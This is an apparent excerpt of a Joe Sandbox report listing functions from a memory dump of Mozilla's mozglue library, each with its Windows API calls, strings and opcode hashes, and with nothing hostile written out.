Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 7fc32b5d2731a77c9f2b533fe4db01e8f9b40e33ea8188b68966d15e60211b4b
Instruction ID: 4a47abac98cdd5df98f50b04d3177698e8716e16453d6d346b5ccd5b9c37bb38
Opcode Fuzzy Hash: 7fc32b5d2731a77c9f2b533fe4db01e8f9b40e33ea8188b68966d15e60211b4b
Instruction Fuzzy Hash: 8B61E271A047949BDB219F24D880BDE77B4FF99308F44851CED8A57B01DB31E949CB92

Function 6CB0C160 Relevance: 9.2, APIs: 6, Instructions: 174COMMON

Download Yara Rule

APIs

fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB0C1F1
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CB0C293
fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CB0C29E

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: fgetc$memcpy
String ID:
API String ID: 1522623862-0
Opcode ID: 0e671ae508c0d53606ffdefd19194b3d62388a1274332edad99b8d6f46df5d57
Instruction ID: 6e265b50a8517e93e55b9239ad6fd6461c36904a7a13f4b0bc20a934ca1ce848
Opcode Fuzzy Hash: 0e671ae508c0d53606ffdefd19194b3d62388a1274332edad99b8d6f46df5d57
Instruction Fuzzy Hash: A361AC71A00658CFCF24DFA8D8809AEBBB5FF49314F154629E816A7B51C731A944CFA2

Function 6CB09F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB09FDB
free.MOZGLUE(?,?), ref: 6CB09FF0
free.MOZGLUE(?,?), ref: 6CB0A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB0A0BE
free.MOZGLUE(?,?), ref: 6CB0A0D5
free.MOZGLUE(?,?), ref: 6CB0A0EB

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 1275a91a43e4476afc67c14f8c40da55eb90fd9d0eedeb4184472c1c87abc38c
Instruction ID: c497e682832762f48fe53690cff67df16c9d6c78eb3ef381e26acdd894db87d1
Opcode Fuzzy Hash: 1275a91a43e4476afc67c14f8c40da55eb90fd9d0eedeb4184472c1c87abc38c
Instruction Fuzzy Hash: 4461D1759087469FC711CF18C48059AB7F5FF88329F148659E8999B702EB32E986CFC2

Function 6CB0DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB0DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CB0D38A,?), ref: 6CB0DC6F
free.MOZGLUE(?,?,?,?,?,6CB0D38A,?), ref: 6CB0DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CB0D38A,?), ref: 6CB0DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CB0D38A,?), ref: 6CB0DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CB0D38A,?), ref: 6CB0DD4A

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 0e87e46cea80cb14111716bc00de62bbf6b844130d1d1e7f9750349af6dbfc6b
Instruction ID: e5bd4a7cb3d7c3b0fc38df583af4c3df785fbd1ddd985902c1b0570d89c5c4b8
Opcode Fuzzy Hash: 0e87e46cea80cb14111716bc00de62bbf6b844130d1d1e7f9750349af6dbfc6b
Instruction Fuzzy Hash: C24156B5B006158FCB10CFA9D88099EBBB6FF88318B554569DA09ABB51DB31FC04CB90

Function 6CAF6590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CAEFA80: GetCurrentThreadId.KERNEL32 ref: 6CAEFA8D
Part of subcall function 6CAEFA80: AcquireSRWLockExclusive.KERNEL32(6CB3F448), ref: 6CAEFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAF6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CAF67C8

Part of subcall function 6CB04290: memcpy.VCRUNTIME140(?,?,6CB12003,6CB10AD9,?,6CB10AD9,00000000,?,6CB10AD9,?,00000004,?,6CB11A62,?,6CB12003,?), ref: 6CB042C4

Strings

data, xrefs: 6CAF6593

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 73a0c5522650f5206bc48f6181735a9f0a830c1afe3c71876868c05f7f03bdef
Instruction ID: a7bea7afc162b584b13fb98eb2020d0ea6b602ed417605235481bfa333b86e0b
Opcode Fuzzy Hash: 73a0c5522650f5206bc48f6181735a9f0a830c1afe3c71876868c05f7f03bdef
Instruction Fuzzy Hash: 0FD1C2757083808FD724DF24D851BAFBBE5AFD5308F14492DE49987B51DB30A889CB52

Function 6CB0C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CB0C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CB0C842

Part of subcall function 6CB0CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6CB2B5EB,00000000), ref: 6CB0CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6CB0C863
std::_Facet_Register.LIBCPMT ref: 6CB0C875

Part of subcall function 6CAEB13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6CB2B636,?), ref: 6CAEB143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CB0C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB0C8BC

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 83eef6c4d5a8b1702778ef93511783e1419d16567f995471c31564359e25c76e
Instruction ID: e51b96f54569d8b0c62106a1398170ef5b56921160c83a787aa0e843482f62ce
Opcode Fuzzy Hash: 83eef6c4d5a8b1702778ef93511783e1419d16567f995471c31564359e25c76e
Instruction Fuzzy Hash: 9E118275B003099BCF11EFA4D8998AE7B79FF89355B040129E50A97341DF309D09CBA6

Function 6CAED5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CABEB57,?,?,?,?,?,?,?,?,?), ref: 6CAED652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CABEB57,?), ref: 6CAED660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CABEB57,?), ref: 6CAED673
free.MOZGLUE(?), ref: 6CAED888

Strings

|Enabled, xrefs: 6CAED81E

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: a45f1f44e00a869de30a504c3b9468e0eddedb63244dff5c1ed9b08a8c2ab32c
Instruction ID: d44288bc8a7004215aa6ae1cd477491143713993f7a80f2802349f3705eb39d0
Opcode Fuzzy Hash: a45f1f44e00a869de30a504c3b9468e0eddedb63244dff5c1ed9b08a8c2ab32c
Instruction Fuzzy Hash: E0A1E3B0E043458FDB11CF69C4906AEBBF5AF89318F18805DD889AB741D735A889CBE1

Function 6CB00180 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 151threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6CB00270
GetCurrentThreadId.KERNEL32 ref: 6CB002E9
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CB002F6
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CB0033A

Strings

about:blank, xrefs: 6CB0020F

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID: about:blank
API String ID: 2047719359-258612819
Opcode ID: bfac750aedfe2ab7ed81d593a8d11eddd45afc918ea8f9db701639e5a90c95dd
Instruction ID: d12d3dc2e1ca46ab9f06d1954de0008663522e8925039c85fc3ecb5a77c3a55b
Opcode Fuzzy Hash: bfac750aedfe2ab7ed81d593a8d11eddd45afc918ea8f9db701639e5a90c95dd
Instruction Fuzzy Hash: EA51B074B002998FCB10DF58D480AAEBBF1FF48328F244559D81AA7B51D731BD49CB91

Function 6CAFE100 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAC4A68), ref: 6CAF945E
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAF9470
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAF9482
Part of subcall function 6CAF9420: __Init_thread_footer.LIBCMT ref: 6CAF949F

GetCurrentThreadId.KERNEL32 ref: 6CAFE12F
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,6CAFE084,00000000), ref: 6CAFE137

Part of subcall function 6CAF94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAF94EE
Part of subcall function 6CAF94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAF9508

?profiler_stream_json_for_this_process@baseprofiler@mozilla@@YA_NAAVSpliceableJSONWriter@12@N_N1@Z.MOZGLUE ref: 6CAFE196
?profiler_stream_json_for_this_process@baseprofiler@mozilla@@YA_NAAVSpliceableJSONWriter@12@N_N1@Z.MOZGLUE(?,?,?,?,?,?,?,?), ref: 6CAFE1E9

Part of subcall function 6CAF99A0: GetCurrentThreadId.KERNEL32 ref: 6CAF99C1
Part of subcall function 6CAF99A0: AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAF99CE
Part of subcall function 6CAF99A0: ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAF99F8

Strings

[I %d/%d] WriteProfileToJSONWriter, xrefs: 6CAFE13F

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: getenv$?profiler_stream_json_for_this_process@baseprofiler@mozilla@@CurrentExclusiveLockSpliceableThreadWriter@12@$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] WriteProfileToJSONWriter
API String ID: 2491745604-3904374701
Opcode ID: 61a5910d05626bdd41cc22889a6d7541f718344c97a92d15f55176af75c1ff62
Instruction ID: 543cfdb94473d7e84c78a82e6e2671f673d67b5f49a62a8e4c7891f094e3feb0
Opcode Fuzzy Hash: 61a5910d05626bdd41cc22889a6d7541f718344c97a92d15f55176af75c1ff62
Instruction Fuzzy Hash: 0E3114B17043409FD7009F6899412BAF7E5AFD6308F14852EF8A94BB41EB74898EC793

Function 6CAEF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CAEF480

Part of subcall function 6CABF100: LoadLibraryW.KERNEL32(shell32,?,6CB2D020), ref: 6CABF122
Part of subcall function 6CABF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CABF132

CloseHandle.KERNEL32(00000000), ref: 6CAEF555

Part of subcall function 6CAC14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CAC1248,6CAC1248,?), ref: 6CAC14C9
Part of subcall function 6CAC14B0: memcpy.VCRUNTIME140(?,6CAC1248,00000000,?,6CAC1248,?), ref: 6CAC14EF

Part of subcall function 6CABEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CABEEE3

CreateFileW.KERNEL32 ref: 6CAEF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CAEF523

Strings

\oleacc.dll, xrefs: 6CAEF4CB

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 35d3f3ac31901cc5b837d49eb2e9da20967a9fc853be8503062118a130f76315
Instruction ID: 60806be445523e91233a4d3d348b9c08e8e423814dec11ca4f18208885ea3a96
Opcode Fuzzy Hash: 35d3f3ac31901cc5b837d49eb2e9da20967a9fc853be8503062118a130f76315
Instruction Fuzzy Hash: 734192706087509FD720DF29DD84A9AB7F4EF98318F500A1CF59593690EB34D989CBE2

Function 6CAFE020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAC4A68), ref: 6CAF945E
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAF9470
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAF9482
Part of subcall function 6CAF9420: __Init_thread_footer.LIBCMT ref: 6CAF949F

GetCurrentThreadId.KERNEL32 ref: 6CAFE047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAFE04F

Part of subcall function 6CAF94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAF94EE
Part of subcall function 6CAF94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAF9508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAFE09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAFE0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6CAFE057

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: dc6f5d9a2b4c067f005e31e48525bfcafba3c44c79af5708dc74de73c2ec2b85
Instruction ID: 1d085eacefe928c57a1d5df315def685ff9d85df991418e4e94717805fde4eb6
Opcode Fuzzy Hash: dc6f5d9a2b4c067f005e31e48525bfcafba3c44c79af5708dc74de73c2ec2b85
Instruction Fuzzy Hash: AF21C274B001188FDF04DF64D958AAEB7B9AF85308F184425F92AD7740DB35A98ACBE1

Function 6CB174A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CB17526
__Init_thread_footer.LIBCMT ref: 6CB17566
__Init_thread_footer.LIBCMT ref: 6CB17597

Strings

UnmapViewOfFile2, xrefs: 6CB17552
kernel32.dll, xrefs: 6CB17557

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 4dfcad28e35b8cf3ead5d73ed1301fef02dcded9e1bf07491daba1d4b346be6d
Instruction ID: bccc6f980c0ad69ec7571109a3712ce9c3daa30096bad61e499b6bae084df28b
Opcode Fuzzy Hash: 4dfcad28e35b8cf3ead5d73ed1301fef02dcded9e1bf07491daba1d4b346be6d
Instruction Fuzzy Hash: 1A214935708590E7CB249FA9C918E9D3776EB56338F040569E40D67F40CB70AC068AD2

Function 6CB1A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB3F770,-00000001,?,6CB2E330,?,6CADBDF7), ref: 6CB1A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6CADBDF7), ref: 6CB1A7C2
moz_xmalloc.MOZGLUE(00000018,?,6CADBDF7), ref: 6CB1A7E4
LeaveCriticalSection.KERNEL32(6CB3F770), ref: 6CB1A80A

Strings

accelerator.dll, xrefs: 6CB1A7BF

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 9cb24fa8e5c838d2c29f3cddd405876ebefbfd9ff7cdf5b483c735a22592426d
Instruction ID: 9f90da847ad8d0d2d25d98c831e195325670d5b79d2cdc3c80065a79c7bfc033
Opcode Fuzzy Hash: 9cb24fa8e5c838d2c29f3cddd405876ebefbfd9ff7cdf5b483c735a22592426d
Instruction Fuzzy Hash: 2C018F75604254DF9F04CF99D888C2577B8FB9932570484AAE80D8B751DB70A908CFA2

Function 6CABF0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6CABEE51,?), ref: 6CABF0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6CABF0C2

Strings

Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6CABF0DC
Could not find CoTaskMemFree, xrefs: 6CABF0E3
ole32, xrefs: 6CABF0AD

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 3b2f0bd883358e003f3001c95b0f7b99a59373a501f08d273e40181b3815e11b
Instruction ID: 62612d6e16f0a079699def7467de8169943355da74562c672b7277a267035f0e
Opcode Fuzzy Hash: 3b2f0bd883358e003f3001c95b0f7b99a59373a501f08d273e40181b3815e11b
Instruction Fuzzy Hash: 8AE0D87D74D6529B9F145A66AC0862E37BC6B1221970C842DE409E2E54FE30D010C615

Function 6CAF0080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CAC7204), ref: 6CAF0088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6CAF00A7
FreeLibrary.KERNEL32(?,6CAC7204), ref: 6CAF00BE

Strings

wintrust.dll, xrefs: 6CAF0083
CryptCATAdminAcquireContext2, xrefs: 6CAF00A1

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 9ebf212cef14da48e411c2d179a17bfd785d734270d3fa151a75e6055344e86e
Instruction ID: 32a32e6d23f1d63dd0aa5c341144d75919a79cd32563a3b9d3d26e9624eb2c0b
Opcode Fuzzy Hash: 9ebf212cef14da48e411c2d179a17bfd785d734270d3fa151a75e6055344e86e
Instruction Fuzzy Hash: EBE012B8200760DBEF28AF2AC8087093BF8A70B346F00445AFD2CC3694DBB4D0848F11

Function 6CAF00D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CAC7235), ref: 6CAF00D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6CAF00F7
FreeLibrary.KERNEL32(?,6CAC7235), ref: 6CAF010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6CAF00F1
